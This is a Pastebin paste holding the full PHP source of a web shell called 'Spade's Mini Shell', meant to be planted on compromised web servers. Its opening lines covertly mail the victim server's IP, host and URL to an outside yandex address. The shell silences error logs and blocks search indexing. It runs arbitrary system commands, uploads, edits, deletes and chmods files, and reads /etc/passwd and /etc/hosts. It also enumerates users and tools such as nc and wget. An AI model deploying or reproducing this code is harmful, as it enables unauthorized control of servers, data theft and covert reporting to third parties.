Advertisement
Sl4ckerc0de

Untitled

Feb 28th, 2019
539
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.35 KB | None | 0 0
  1. <?php
  2. $ip = getenv("REMOTE_ADDR");
  3. $subj98 = " Tuyul hmei7 |$ip";
  4. $email = "askamu@yandex.com";
  5. $from = "From: Result<Tuyul";
  6. $a45 = $_SERVER['REQUEST_URI'];
  7. $b75 = $_SERVER['HTTP_HOST'];
  8. $m22 = $ip . "";
  9. $msg8873 = "$m22 $b75 $a45";
  10. mail($email, $subj98, $msg8873, $from);;;
  11. // Spade's Mini Shell
  12. @ini_set('error_log',NULL);
  13. @ini_set('log_errors',0);
  14. @ini_set('display_errors', 0);
  15. @error_reporting(0);
  16. @error_log(false);
  17. $slash = '/';
  18. if(strtolower(substr(PHP_OS,0,3))=='win'){ $os = 'win'; $slash = '\\'; $ox = "Windows";}else{ $os = "nix"; $ox = "Linux"; }
  19. function sanitize($object){
  20. return filter_var(htmlspecialchars($object), FILTER_SANITIZE_STRING);
  21. }
  22. function get_users(){
  23. $users = array();
  24. $user = file("/etc/passwd");
  25. foreach ($user as $userx => $userz) {
  26. $userct = explode(":", $userz);
  27. array_push($users,$userct[0]);
  28. }
  29. if(!$user){
  30. if($open = opendir("/home/")){
  31. while(($file = readdir($open)) !== false){ array_push($users, $file); }
  32. }
  33. closedir($open);
  34. }
  35. $users = implode(', ', $users);
  36. return $users;
  37. }
  38. function exe($cmd){
  39. if(function_exists('system')) {
  40. @ob_start();
  41. @system($cmd);
  42. $buff = @ob_get_contents();
  43. @ob_end_clean();
  44. }elseif(function_exists('exec')) {
  45. @exec($cmd,$results);
  46. $buff = join("\n", $results);
  47. } elseif(function_exists('passthru')) {
  48. @ob_start();
  49. @passthru($cmd);
  50. $buff = @ob_get_contents();
  51. @ob_end_clean();
  52. } elseif(function_exists('shell_exec')) {
  53. $buff = @shell_exec($cmd);
  54. }elseif(function_exists('proc_open')){
  55. $desc = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
  56. $handle = proc_open($cmd, $desc, $pipes);
  57. if(is_resource($handle)){
  58. if(function_exists('fread') && function_exists('feof')){
  59. while(!feof($pipes[1])){ $buff .= fread($pipes[1], 512); }
  60. }elseif(function_exists('fgets') && function_exists('feof')){
  61. while(!feof($pipes[1])){ $buff .= fgets($pipes[1], 512); }
  62. }
  63. }
  64. pclose($handle);
  65. }elseif(function_exists('popen')){
  66. $handle = popen($cmd, "r");
  67. if(is_resource($handle)){
  68. if(function_exists('fread') && function_exists('feof')){
  69. while(!feof($handle)){ $buff .= fread($handle, 512); }
  70. }elseif(function_exists('fgets') && function_exists('feof')){
  71. while(!feof($handle)){ $buff .= fgets($handle, 512); }
  72. }
  73. }
  74. pclose($handle);
  75. }
  76. $buff = wordwrap(htmlspecialchars($buff));
  77. return $buff;
  78. }
  79. echo "
  80. <!DOCTYPE html>
  81. <html>
  82. <head>
  83. <link rel=\"shortcut icon\" href=\"http://i.imgur.com/iuhnNKU.png\" />
  84. <meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW, NOARCHIVE\" />
  85. <meta name=\"GOOGLEBOT\" content=\"NOINDEX, NOFOLLOW, NOARCHIVE\" />
  86. <meta charset=\"UTF-8\">
  87. <script type=\"text/javascript\" src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js\"></script>
  88. <link href='http://fonts.googleapis.com/css?family=Monoton' rel='stylesheet' type='text/css'>
  89. <title>:~Spade Mini Shell~:</title>
  90. <style>
  91. @import url(\"http://fonts.googleapis.com/css?family=Iceberg:400\");
  92. *, body, html { text-shadow: 0px 0px 1px #141414; cursor: url(http://cur.cursors-4u.net/cursors/cur-9/cur863.ani), url(http://cur.cursors-4u.net/cursors/cur-9/cur863.png), default !important;}
  93. html {font-family: 'Iceberg';}
  94. .chekwa{ display: none;}
  95. .wala { border-bottom: none;}
  96. input { border: none; background: none; font-family: 'Courier New';}
  97. textarea{ background: #111111; font-family: 'Courier New'; font-size: 15px; border: 1px dashed lime; border-radius: 15px; padding: 10px; color: white;}
  98. .submit{ background: lime; color: black; }
  99. select{ background: lime; color: black; font-family: 'Courier New'; border: none;}
  100. option{ font-family: 'Courier New'; background: lime; border: none;}
  101. .titulo {text-shadow: 0pt 0pt 0.99em lime, 0pt 0pt 0.99em lime;color: #00ff00;text-decoration: none;}
  102. body { background: #111111; color: white; text-align : center;}
  103. .foot{ position: relative; width: 100%; bottom: 0;}
  104. a { color: white; text-decoration: none;}
  105. #details{ -moz-border-radius: 10px; border-radius: 10px; border:1px solid green; padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; min-height:100px; margin-top: 10px;}
  106. tr:hover { background: #141414;}
  107. a:hover { text-shadow: 0pt 0pt 0.99em lime, 0pt 0pt 0.99em lime;color: #00ff00;text-decoration: none; }
  108. .lamesa, .mesa { width:100%; padding:4px 0; color:white; font-size:15px;}
  109. .mesa td{ border-bottom:1px solid #222222; padding:0 8px; line-height:24px; vertical-align:top;}
  110. .board {text-align: center;border: 1px solid rgba(255,180,0,0.4);border-radius: 4px;width: 500px;font-family: 'Monoton'}
  111. .board p {font-size: 65px;font-family: 'Monoton', cursive;color: #fff;text-transform: uppercase;padding: 0;margin: 0;}
  112. pre { text-align: left;}
  113. .pare{ border: 1px dashed lime; border-radius: 15px; color: #9b9b9b; font-size: 15px; font-family: 'Courier New'; padding: 15px;}
  114. textarea:focus{ outline: none;}
  115. .piktur { width: 60px; cursor: pointer; opacity: .5; transition: .5s ease-in-out;}
  116. .piktur:hover { opacity: 1; width: 75px;}
  117. code { font-family: monospace; }
  118. </style>";?>
  119. <script type="text/javascript">
  120. $(document).ready(function() {$('#spade').novacancy({'reblinkProbability': 0.1,'blinkMin': 0.2,'blinkMax': 0.6,'loopMin': 8,'loopMax': 10,'color': '#ffffff','glow': ['0 0 80px #ffffff', '0 0 30px #008000', '0 0 6px #0000ff']});
  121. $('#pirates').novacancy({'blink': 1,'off': 1,'color': 'Red','glow': ['0 0 80px Red', '0 0 30px FireBrick', '0 0 6px DarkRed']});});
  122. </script>
  123. <?php echo "
  124. </head>
  125. <body>
  126. <noscript><meta http-equiv=\"refresh\" content=\"0; URL=http://xbox.nu/sssssssssssppppppppppaaaaaaaaaaaadddddddeeeeeeeee.html\"></noscript>
  127. <center><div class=\"board\" style=\"width: 30%;\"><p id=\"spade\">Spade</p><p id=\"pirates\">Mini Shell</p></div></center>
  128. <div id='details'>
  129. <table class=\"lamesa\" cellpadding=\"3\" cellspacing\"1\">
  130. <tr>
  131. <td><font class=\"titulo wala\">Directory:~$</font>&nbsp;";
  132. if(isset($_GET['path'])){
  133. $path = sanitize($_GET['path']);
  134. }else{
  135. $path = sanitize(getcwd());
  136. }
  137. $path = str_replace('\\','/',$path);
  138. $paths = explode('/',$path);
  139. foreach($paths as $id=>$peth){
  140. if($peth == '' && $id == 0){
  141. $a = true;
  142. echo "<a href=\"?path=/\">/</a>";
  143. continue;
  144. }//if
  145. if($peth == '') continue;
  146. echo "<a href='?path=";
  147. for($i=0;$i<=$id;$i++){
  148. echo $paths[$i];
  149. if($i != $id) echo "/";
  150. }//for
  151. echo "'>".$peth."</a>/";
  152. }//foreach
  153. echo "
  154. </td>
  155. </tr>
  156. <tr>
  157. <td>";
  158. if(isset($_FILES['file'])){
  159. if(@copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  160. echo "<font color=lime><a href=".sanitize($_FILES['file']['name'])." target='_blank'>File Uploaded!</font><br/>";
  161. }else{
  162. echo "<font color=red>File Not Uploaded!</font><br/>";
  163. }//upload
  164. }//file
  165. echo "
  166. <form method=POST enctype=\"multipart/form-data\"><font class=\"titulo wala\">Upload File<br><label for=\"upload\"><img class=\"piktur\" src=\"http://xbox.nu/upload.png\"><input id=\"upload\" class=\"chekwa\" type=\"file\" name=\"file\"></label><br><input type=\"submit\" class=\"submit\" ";
  167. if(!is_writable($path)){echo "disabled value='Not Writable!' style='background: red;'";}else{ echo "value='Upload!'"; }
  168. echo "
  169. ></form>
  170. </td>
  171. </tr><tr><td class=\"wala\">[<a href=".sanitize($_SERVER['PHP_SELF']).">Home</a>]&nbsp;[<a href='?details'>System Details</a>]&nbsp;[<a href='?kill'>Kill Me</a>]</td></tr></table></div><table>";
  172. if(isset($_GET['details'])){
  173. global $os;
  174. $ds = @ini_get("disable_functions");
  175. $show_ds = (!empty($ds)) ? "<font color=red>".sanitize(wordwrap($ds))."</font>" : "<font color=gold>NONE</font>";
  176. echo "</table><div id=\"details\"><table class=\"mesa\" width=100%><center>
  177. <tr><td><h1 class=titulo>System Information</h1></td></tr>
  178. <tr><td><font color=lime>OS</font>:: <font color=gold>".php_uname(s)."</font></td></tr>
  179. <tr><td><font color=lime>PHP Version</font>:: <font color=gold>".phpversion()."</font></td></tr>
  180. <tr><td><font color=lime>Kernel Release</font>:: <font color=gold>".php_uname(r)."</font></td></tr>
  181. <tr><td><font color=lime>Kernel Version</font>:: <font color=gold>".php_uname(v)."</font></td></tr>
  182. <tr><td><font color=lime>Machine</font>:: <font color=gold>".php_uname(m)."</font></td></tr>
  183. <tr><td><font color=lime>Server Software</font>:: <font color=gold>".$_SERVER['SERVER_SOFTWARE']."</font></td></tr>
  184. <tr><td style=\"text-align:left\"><font color=lime>Disabled Functions</font>:: <font color=gold>".wordwrap($show_ds)."</font></td></tr>";
  185. if(function_exists('apache_get_modules')){
  186. echo "<tr><td style=\"text-align:left\"><font color=lime>Loaded Apache Modules</font>:: <pre>";
  187. $apache = implode(', ', apache_get_modules());
  188. echo wordwrap($apache);
  189. echo "</pre></td></tr>";
  190. }//apache
  191. if($os == 'win'){echo "<tr><td style=\"text-align:left\"><font color=lime>Account Settings</font>:: <pre>".exe('net accounts')."</pre></td></tr><tr><td style=\"text-align:left\"><font color=lime>User Accounts</font>:: <pre>".exe('net user')."</pre></td></tr>";}//Windows
  192. if($os == 'nix'){
  193. echo "<tr><td style=\"text-align:left\"><font color=lime>Distro</font>:: <pre>".exe('cat /etc/*-release')."</pre></td></tr>
  194. <tr><td style=\"text-align:left\"><font color=lime>Distro Name</font>:: <pre>".exe('cat /etc/issue.net')."</pre></td></tr>
  195. <tr><td style=\"text-align:left\"><font color=lime>GCC</font>:: <pre>".exe('whereis gcc')."</pre></td></tr>
  196. <tr><td style=\"text-align:left\"><font color=lime>Perl</font>:: <pre>".exe('whereis perl')."</pre></td></tr>
  197. <tr><td style=\"text-align:left\"><font color=lime>Java</font>:: <pre>".exe('whereis java')."</pre></td></tr>
  198. <tr><td style=\"text-align:left\"><font color=lime>Python</font>:: <pre>".exe('whereis python')."</pre></td></tr>
  199. <tr><td style=\"text-align:left\"><font color=lime>Apache</font>:: <pre>".exe('whereis apache')."</pre></td></tr>
  200. <tr><td style=\"text-align:left\"><font color=lime>CPU</font>:: <pre>".exe('cat /proc/cpuinfo')."</pre></td></tr>
  201. <tr><td style=\"text-align:left\"><font color=lime>RAM</font>:: <pre>".exe('free -m')."</pre></td></tr>
  202. <tr><td style=\"text-align:left\"><font color=lime>User Limits</font>:: <pre>".exe('ulimit -a')."</pre></td></tr>
  203. ";
  204. $useful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  205. $uze=array();
  206. foreach($useful as $uzeful){
  207. if(exe("which $uzeful")){
  208. $uze[]=$uzeful;
  209. }
  210. }
  211. echo "<tr><td style='text-align:left'><font color=lime>Useful</font>::<pre>";
  212. echo implode(', ',$uze);
  213. echo "</pre></td></tr>";
  214. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  215. $uze=array();
  216. foreach($downloaders as $downloader){
  217. if(exe("which $downloader")){
  218. $uze[]=$downloader;
  219. }
  220. }
  221. echo "<tr><td style='text-align:left'><font color=lime>Downloaders</font>::<pre>";
  222. echo implode(', ',$uze);
  223. echo "</pre></td></tr>";
  224. echo "<tr><td style='text-align:left'><font color=lime>Users</font>::<pre>".wordwrap(get_users())."</pre</font></td></tr>
  225. <tr><td style='text-align:left'><font color=lime>Hosts</font>::<pre>".exe('cat /etc/hosts')."</pre></font></td></tr>";
  226. }//Linux
  227. echo "</table></div>";
  228. }elseif(isset($_GET['kill'])){
  229. $me = sanitize($_SERVER['PHP_SELF']);
  230. $akez = basename($me);
  231. if(unlink($akez)){
  232. echo "<script>alert('Sayonara Suckers .|.')</script><meta http-equiv=\"refresh\" content=\"0; URL=http://xbox.nu/r3dDXDTOOL.swf\">";
  233. }else{ echo "<center><font color=red>Still Alive!</font></center>"; }
  234. }elseif(isset($_GET['filesource'])){
  235. echo "<tr><td class=\"titulo\"><center>Current File:~$&nbsp;".sanitize($_GET['filesource'])."</center></td></tr></table><br/>";
  236. echo "<pre class=\"pare\"><code>".wordwrap(sanitize(file_get_contents($_GET['filesource'])))."</code></pre>";
  237. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  238. echo "</table><br><center>".sanitize($_GET['path'])."<br><br>";
  239. if($_POST['opt'] == 'chmod'){
  240. if(isset($_POST['perm'])){
  241. if(@chmod($_POST['path'], $_POST['perm'])){
  242. echo "<font color=lime>Permission Changed!</font>";
  243. }else{
  244. echo "<font color=red>Permission Not Change!</font>";
  245. }//change perm * chmod
  246. }//perm
  247. echo "<form method=POST><font class=\"titulo\">Permission:~$&nbsp;</font><input type=\"text\" name=\"perm\" size=\"4\" value='".substr(sprintf('%o', fileperms($_POST['path'])), -4)."'><input type=\"hidden\" name=\"path\" value='".$_POST['path']."'><input type=\"hidden\" name=\"opt\" value=\"chmod\"><input type=\"submit\" class=\"submit\" value=\">>\"></form>";
  248. }elseif($_POST['opt'] == 'rename'){
  249. if(isset($_POST['newname'])){
  250. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  251. echo "<font color=lime>File Name Changed!</font><br>";
  252. }else{
  253. echo "<font color=red>File Name Not Change!</font>";
  254. }//rename
  255. $_POST['name'] = $_POST['newname'];
  256. }//rename
  257. echo "<form method=POST><font class=\"titulo\">New Name:~$&nbsp;</font><input name= \"newname\" type=\"text\" size=\"20\" value='".sanitize($_POST['name'])."'><input type=\"hidden\" name=\"path\" value='".sanitize($_POST['path'])."'><input type=\"hidden\" name=\"opt\" value=\"rename\"><input type=\"submit\" class=\"submit\" value=\">>\"></form>";
  258. }elseif($_POST['opt'] == 'edit'){
  259. if(isset($_POST['source'])){
  260. $fopen = fopen($_POST['path'], 'w');
  261. if(fwrite($fopen, $_POST['source'])){
  262. echo "<font color=lime>File Editted!</font><br>";
  263. }else{
  264. echo "<font color=red>File Not Editted!</font><br>";
  265. }//fwrite
  266. fclose($fopen);
  267. }//source
  268. echo "<form method=POST><textarea cols=80 rows=20 name=\"source\">".sanitize(file_get_contents($_POST['path']))."</textarea><br><input type=\"hidden\" name=\"path\" value='".sanitize($_POST['path'])."'><input type=\"hidden\" name=\"opt\" value=\"edit\"><input type=\"submit\" class=\"submit\" value=\">>\"></form>";
  269. }//chmod//rename//edit
  270. echo "</center>";
  271. }else{
  272. echo "</table><br></center>";
  273. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  274. if($_POST['type'] == 'dir'){
  275. if(rmdir($_POST['path'])){
  276. echo "<font color=lime>Directory Deleted!</font><br>";
  277. }else{
  278. echo "<font color=red>Directory Not Deleted!</font><br>";
  279. }//rmdir
  280. }elseif($_POST['type'] == 'file'){
  281. if(unlink($_POST['path'])){
  282. echo "<font color=lime>File Deleted!</font><br>";
  283. }else{
  284. echo "<font color=red>File Not Deleted!</font><br>";
  285. }//unlink
  286. }//dir//file
  287. }//delete
  288. echo "</center>";
  289. $scandir = scandir($path);
  290. echo "
  291. <div class=\"content\" id=\"details\">
  292. <table class=\"lamesa\" cellpadding=\"3\" cellspacing=\"1\">
  293. <tr>
  294. <th><font class=\"titulo\">Name</font></th>
  295. <th><font class=\"titulo\">Size</font></th>
  296. <th><font class=\"titulo\">Permissions</font></th>
  297. <th><font class=\"titulo\">Options</font></th>
  298. </tr>";
  299. foreach($scandir as $dir){
  300. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  301. echo "
  302. <tr>
  303. <td><a href=\"?path=".$path."/".$dir."\">".$dir."</a></td>
  304. <td><center>~</center></td>
  305. <td><center>";
  306. if(is_writable($path.'/'.$dir)) echo "<font color=lime>";//is_writable
  307. elseif(!is_readable($path.'/'.$dir)) echo "<font color=red>";//is_readable
  308. echo perms($path.'/'.$dir);
  309. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo "</font>";
  310. echo "</center></td>
  311. <td><center>
  312. <form method=POST action=\"?option&path=".$path."\">
  313. <select name=\"opt\">
  314. <option value=\"\"></option>
  315. <option value=\"delete\">Delete</option>
  316. <option value=\"chmod\">Chmod</option>
  317. <option value=\"rename\">Rename</option>
  318. </select>
  319. <input type=\"hidden\" name=\"type\" value=\"dir\">
  320. <input type=\"hidden\" name=\"name\" value='".$dir.">
  321. <input type=\"hidden\" name=\"path\" value='".$path."/".$dir.">
  322. <input type=\"submit\" class=\"submit\" value=\">>\">
  323. </form>
  324. </center></td>
  325. </tr>";
  326. }//foreach
  327. echo "
  328. <tr>
  329. <td>----------------</td><td>----------------</td><td>----------------</td><td>----------------</td>
  330. </tr>";
  331. foreach($scandir as $file){
  332. if(!is_file($path.'/'.$file)) continue;//is_file
  333. $size = filesize($path.'/'.$file)/1024;
  334. $size = round($size,3);
  335. if($size >= 1024){
  336. $size = round($size/1024,2).' MB';
  337. }else{
  338. $size = $size.' KB';
  339. }//size
  340. echo "
  341. <tr>
  342. <td><a href=\"?filesource=".$path."/".$file."&path=".$path."\">".$file."</a></td>
  343. <td><center>".$size."</center></td>
  344. <td><center>";
  345. if(is_writable($path.'/'.$file)) echo "<font color=lime>";//is_writable
  346. elseif(!is_readable($path.'/'.$file)) echo "<font color=red>";//is_readable
  347. echo perms($path.'/'.$file);
  348. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo "</font>";
  349. echo "</center></td>
  350. <td><center>
  351. <form method=POST action=\"?option&path=".$path."\">
  352. <select name=\"opt\">
  353. <option value=\"\"></option>
  354. <option value=\"edit\">Edit</option>
  355. <option value=\"delete\">Delete</option>
  356. <option value=\"chmod\">Chmod</option>
  357. <option value=\"rename\">Rename</option>
  358. </select>
  359. <input type=\"hidden\" name=\"type\" value=\"file\">
  360. <input type=\"hidden\" name=\"name\" value='".$file."'>
  361. <input type=\"hidden\" name=\"path\" value='".$path."/".$file."'>
  362. <input type=\"submit\" class=\"submit\" value=\">>\">
  363. </form>
  364. </center></td>
  365. </tr>";
  366. }//foreach
  367. echo "
  368. </table>
  369. </div>";
  370. }//filesource//Delete
  371. echo "
  372. </table>
  373.  
  374. <script type=\"text/javascript\" src=\"http://xbox.nu/novacancy.js\"></script>
  375. <div class='foot'>
  376. <hr width='80%'>
  377. <footer>&copy; <font color=lime class=titulo>Spade</font> ".date('Y')."</footer>
  378. </div>
  379. </body>
  380. </html>";
  381. function perms($file){
  382. $perms = fileperms($file);
  383. if (($perms & 0xC000) == 0xC000) {
  384. // Socket
  385. $info = 's';
  386. } elseif (($perms & 0xA000) == 0xA000) {
  387. // Symbolic Link
  388. $info = 'l';
  389. } elseif (($perms & 0x8000) == 0x8000) {
  390. // Regular
  391. $info = '-';
  392. } elseif (($perms & 0x6000) == 0x6000) {
  393. // Block special
  394. $info = 'b';
  395. } elseif (($perms & 0x4000) == 0x4000) {
  396. // Directory
  397. $info = 'd';
  398. } elseif (($perms & 0x2000) == 0x2000) {
  399. // Character special
  400. $info = 'c';
  401. } elseif (($perms & 0x1000) == 0x1000) {
  402. // FIFO pipe
  403. $info = 'p';
  404. } else {
  405. // Unknown
  406. $info = 'u';
  407. }
  408. // Owner
  409. $info .= (($perms & 0x0100) ? 'r' : '-');
  410. $info .= (($perms & 0x0080) ? 'w' : '-');
  411. $info .= (($perms & 0x0040) ?
  412. (($perms & 0x0800) ? 's' : 'x' ) :
  413. (($perms & 0x0800) ? 'S' : '-'));
  414. // Group
  415. $info .= (($perms & 0x0020) ? 'r' : '-');
  416. $info .= (($perms & 0x0010) ? 'w' : '-');
  417. $info .= (($perms & 0x0008) ?
  418. (($perms & 0x0400) ? 's' : 'x' ) :
  419. (($perms & 0x0400) ? 'S' : '-'));
  420. // World
  421. $info .= (($perms & 0x0004) ? 'r' : '-');
  422. $info .= (($perms & 0x0002) ? 'w' : '-');
  423. $info .= (($perms & 0x0001) ?
  424. (($perms & 0x0200) ? 't' : 'x' ) :
  425. (($perms & 0x0200) ? 'T' : '-'));
  426.  
  427. return $info;
  428. }
  429. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement